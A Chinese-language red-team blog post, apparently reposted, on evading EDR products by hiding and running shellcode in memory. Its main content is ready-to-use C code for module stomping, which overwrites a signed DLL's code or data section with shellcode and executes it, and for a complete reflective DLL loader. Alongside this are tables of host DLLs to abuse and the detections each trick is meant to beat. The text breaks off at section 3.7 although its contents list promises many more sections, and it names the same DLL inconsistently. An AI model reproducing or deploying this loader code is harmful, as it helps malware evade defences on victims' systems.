文章总结: 本文系统阐述EDR攻击中的内存与执行规避技术,涵盖modulestomping、反射DLL加载、内存加密(Ekko、Cronos等)、调用栈欺骗及远程进程注入等核心方法,并分析各技术的原理、实现与检测规避思路,为红队规避EDR检测提供实践参考。
综合评分: 88
文章分类: 红队,免杀,恶意软件,渗透测试,安全工具
EDR攻击技术-内存与执行规避
原创
pandazhengzheng
pandazhengzheng
安全分析与研究
2026年9月20日 22:00
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
目录
- 内存与执行规避概述
- Module Stomping(模块踩踏)
- Reflective DLL Loading(反射 DLL 加载)
- 内存加密概述
- Ekko
- Cronos
- Foliage
- Gargoyle
- Pool Party
- Sleep Mask 综述
- Call Stack Spoofing(调用栈欺骗)
- 远程进程注入
- APC 与 Fiber 异步执行
- 完整 Loader 设计原则
- 小结
1. 内存与执行规避概述
1.1 定位
第 4 篇聚焦进程属性欺骗与遥测通道抑制。本篇聚焦内存落地方式与执行载体选择——使 shellcode 在内存中”看起来合法”且通过”不产生可疑信号”的方式执行。
1.2 核心问题
Shellcode 加载到内存后面临的问题:
├─ 内存区域类型: Private+Execute → 可疑
├─ 内存扫描: YARA 扫描发现 shellcode 签名
├─ 调用栈: 返回地址在 Private 内存 → 可疑
├─ 线程起始地址: 起始地址在 Private 内存 → 可疑
└─ 睡眠时: shellcode 明文驻留内存 → 可被扫描
1.3 规避技术映射
| 问题 | 规避技术 | 原理 |
| — | — | — |
| Private+Execute | Module Stomping | shellcode 在 IMAGE 内存 |
| 内存扫描 | Sleep Mask | 睡眠时加密内存 |
| 调用栈异常 | Call Stack Spoofing | 伪造合法调用栈 |
| 线程起始地址 | APC/Fiber | 无新线程 |
| 远程注入信号 | 远程进程注入优化 | 减少跨进程信号 |
1.4 技术分类
内存落地方式 执行载体 睡眠保护
├─ Module Stomping ├─ APC ├─ Ekko
├─ Reflective DLL ├─ Fiber ├─ Cronos
├─ Process Hollowing ├─ Thread Hijack ├─ Foliage
└─ Manual Mapping └─ Callback ├─ Gargoyle
├─ Pool Party
└─ Sleep Mask
2. Module Stomping(模块踩踏)
2.1 原理
Module Stomping:加载一个合法 DLL,然后覆写其 .text 节区为 shellcode。shellcode 在合法 DLL 的内存中执行。
1. LoadLibrary("xpservices.dll") → 加载合法 DLL 到 IMAGE 内存
2. 找到 .text 节区
3. VirtualProtect(.text, RW) → 改为可写
4. memcpy(.text, shellcode) → 覆写为 shellcode
5. VirtualProtect(.text, RX) → 改回可执行
6. 执行 .text → shellcode 在 IMAGE 内存执行
2.2 为什么 Module Stomping 有效
| 检测维度 | 无 Module Stomping | 有 Module Stomping |
| — | — | — |
| 内存区域类型 | Private+Execute(可疑) | Image+RX(合法) |
| RIP 落点 | Private 内存(可疑) | Image 内存(合法) |
| 调用栈返回地址 | Private 内存(可疑) | Image 内存(合法) |
| 线程起始地址 | Private 内存(可疑) | Image 内存(合法) |
| 映像加载回调 | 无映像加载 | 合法映像加载 |
2.3 基本实现
BOOL moduleStomping(PBYTE shellcode, SIZE_T shellSize) {
// 1. 加载合法 DLL(不解析导入、不调用 DllMain)
HMODULE hMod = LoadLibraryExW(
L"xpservices.dll",
NULL,
DONT_RESOLVE_DLL_REFERENCES // 不执行 DllMain
);
if (!hMod) return FALSE;
// 2. 解析 PE 头,找到 .text 节区
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
PIMAGE_SECTION_HEADER textSection = NULL;
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(section[i].Name, ".text", 5) == 0) {
textSection = §ion[i];
break;
}
}
if (!textSection) return FALSE;
// 3. 检查 shellcode 大小
if (shellSize > textSection->Misc.VirtualSize) return FALSE;
// 4. 覆写 .text
PVOID textAddr = (BYTE*)hMod + textSection->VirtualAddress;
DWORD oldProt;
VirtualProtect(textAddr, textSection->Misc.VirtualSize,
PAGE_READWRITE, &oldProt);
memcpy(textAddr, shellcode, shellSize);
VirtualProtect(textAddr, textSection->Misc.VirtualSize,
PAGE_EXECUTE_READ, &oldProt);
// 5. 执行
((void(*)())textAddr)();
return TRUE;
}
2.4 DLL 选择
选择标准:
- **足够大的
.text**:容纳 shellcode(通常 > 100KB); - 不常用:避免与正常功能冲突;
- 合法签名:数字签名有效;
- System32 路径:路径合法。
| DLL | .text 大小 | 适用 |
| — | — | — |
| xpsservices.dll | ~1MB | 最常用 |
| mscorbi.dll | ~数 MB | 大 shellcode |
| clr.dll | ~数十 MB | 极大 shellcode |
| d3d11.dll | ~数 MB | 图形相关 |
2.5 Module Stomping 的检测
| 检测方法 | 原理 | 是否有效 |
| — | — | — |
| 映像与磁盘比对 | 内存 .text 与磁盘文件不一致 | ✅ 可检测 |
| COW 位检查 | .text 被修改触发 COW | ✅ moneta 可检测 |
| 映像签名验证 | 覆写后签名失效 | ⚠️ |
| 加载上下文 | 为何此进程加载此 DLL? | ✅ 行为异常 |
2.6 Module Stomping 的改进
2.6.1 避免触发 COW
问题:VirtualProtect(.text, RW) + memcpy 触发 COW,moneta 可检测。
改进:覆写 .data 而非 .text(.data 已可写,不触发 COW):
// 覆写 .data 节区(已 RW,不触发 COW)
PIMAGE_SECTION_HEADER dataSection = getSection(nt, ".data");
PVOID dataAddr = (BYTE*)hMod + dataSection->VirtualAddress;
// .data 已可写,无需 VirtualProtect
memcpy(dataAddr, shellcode, shellSize);
// 改为可执行
VirtualProtect(dataAddr, shellSize, PAGE_EXECUTE_READ, &oldProt);
((void(*)())dataAddr)();
注意:将 .data 改为 PAGE_EXECUTE_READ 仍可能被检测(非标准权限)。
2.6.2 未落盘 PE 映射
从内存中映射 PE(不经过 LoadLibrary),避免映像加载回调:
// 手动映射 PE(不触发 PsSetLoadImageNotifyRoutine)
// 1. 分配内存
// 2. 复制 PE 头和节区
// 3. 处理重定位
// 4. 解析导入
// 5. 不调用 DllMain
// 注意:手动映射的内存是 MEM_PRIVATE,不是 MEM_IMAGE
// 除非使用 NtMapViewOfSection 从 Section 映射
2.7 Module Stomping vs Reflective DLL Loading
| 对比 | Module Stomping | Reflective DLL Loading |
| — | — | — |
| 内存类型 | MEM_IMAGE(LoadLibrary) | MEM_PRIVATE(手动映射) |
| 映像加载回调 | 触发(合法映像) | 不触发 |
| 与磁盘比对 | 可比对(不一致 → 可检测) | 无磁盘可比对 |
| COW | 触发(覆写 .text) | 不触发(全新内存) |
| 检测难度 | 中(COW + 比对) | 中(PRIVATE+EXECUTE) |
3. Reflective DLL Loading(反射 DLL 加载)
3.1 原理
Reflective DLL Loading:不通过 LoadLibrary 加载 DLL,而是自己实现 PE 加载器——从内存中映射 PE,处理重定位和导入,不落盘。
正常加载:
LoadLibrary("dll.dll") → OS 加载 → 映像加载回调 → DllMain
反射加载:
reflectiveLoad(dllBytes) → 自己映射 → 不触发回调 → DllMain
3.2 反射加载的步骤
PVOID reflectiveLoad(PBYTE dllBytes) {
// 1. 解析 DOS/NT 头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBytes;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllBytes + dos->e_lfanew);
// 2. 分配内存(IMAGE_SIZEOF_IMAGE)
SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;
PVOID base = NULL;
NtAllocateVirtualMemory(GetCurrentProcess(), &base, 0, &imageSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. 复制 PE 头
SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
memcpy(base, dllBytes, headersSize);
// 4. 复制节区
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
memcpy((BYTE*)base + sections[i].VirtualAddress,
dllBytes + sections[i].PointerToRawData,
sections[i].SizeOfRawData);
}
// 5. 处理基址重定位
applyRelocations(base, nt->OptionalHeader.ImageBase,
(DWORD_PTR)base);
// 6. 解析导入表
resolveImports(base, nt);
// 7. 设置节区权限
setSectionPermissions(base, nt);
// 8. 调用 DllMain(可选)
DLL_MAIN dllMain = (DLL_MAIN)((BYTE*)base +
nt->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)base, DLL_PROCESS_ATTACH, NULL);
return base;
}
3.3 重定位处理
void applyRelocations(PVOID base, DWORD_PTR originalBase, DWORD_PTR newBase) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);
// 获取重定位目录
PIMAGE_DATA_DIRECTORY relocDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir->VirtualAddress == 0) return;
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)((BYTE*)base + relocDir->VirtualAddress);
DWORD_PTR delta = newBase - originalBase;
while (reloc->VirtualAddress) {
PWORD entries = (PWORD)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < count; i++) {
WORD type = entries[i] >> 12;
WORD offset = entries[i] & 0xFFF;
if (type == IMAGE_REL_BASED_DIR64) {
PULONG_PTR addr = (PULONG_PTR)((BYTE*)base +
reloc->VirtualAddress + offset);
*addr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
3.4 导入解析
void resolveImports(PVOID base, PIMAGE_NT_HEADERS nt) {
PIMAGE_DATA_DIRECTORY importDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir->VirtualAddress == 0) return;
PIMAGE_IMPORT_DESCRIPTOR import =
(PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)base + importDir->VirtualAddress);
while (import->Name) {
// 加载依赖 DLL
LPCSTR dllName = (LPCSTR)((BYTE*)base + import->Name);
HMODULE hDll = LoadLibraryA(dllName); // 或自定义加载
// 解析函数
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)((BYTE*)base + import->FirstThunk);
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)((BYTE*)base + import->OriginalFirstThunk);
while (thunk->u1.AddressOfData) {
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
// 按序号导入
thunk->u1.Function = (ULONG_PTR)GetProcAddress(
hDll, (LPCSTR)IMAGE_ORDINAL(origThunk->u1.Ordinal));
} else {
// 按名称导入
PIMAGE_IMPORT_BY_NAME importName =
(PIMAGE_IMPORT_BY_NAME)((BYTE*)base +
origThunk->u1.AddressOfData);
thunk->u1.Function = (ULONG_PTR)GetProcAddress(
hDll, importName->Name);
}
thunk++;
origThunk++;
}
import++;
}
}
3.5 反射加载的检测
| 检测方法 | 原理 | 是否有效 |
| — | — | — |
| PRIVATE+EXECUTE 检查 | 反射加载的 PE 在私有内存 | ✅ pe-sieve 可检测 |
| PE 头扫描 | 私有内存中存在 PE 头 | ✅ pe-sieve 可检测 |
| 导入表不完整 | IAT 可能不在 Ldr 中 | ✅ 可检测 |
| 线程起始地址 | 从 PRIVATE 内存执行 | ✅ 可检测 |
3.6 反射加载 vs Module Stomping
**反射加载的内存是 MEM_PRIVATE**——这是其主要弱点。pe-sieve 专门检测私有内存中的 PE。
**Module Stomping 的内存是 MEM_IMAGE**——更合法,但 COW 可检测。
选择:
- 若 EDR 重视 PRIVATE+EXECUTE → Module Stomping;
- 若 EDR 重视 COW/映像比对 → Reflective Loading + 进一步处理。
3.7 Reflective DLL Loading 的改进
改进方向:使反射加载的内存看起来像 IMAGE
// 使用 NtMapViewOfSection 从 Section 对象映射
`
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng
pandazhengzheng《EDR攻击技术-内存与执行规避》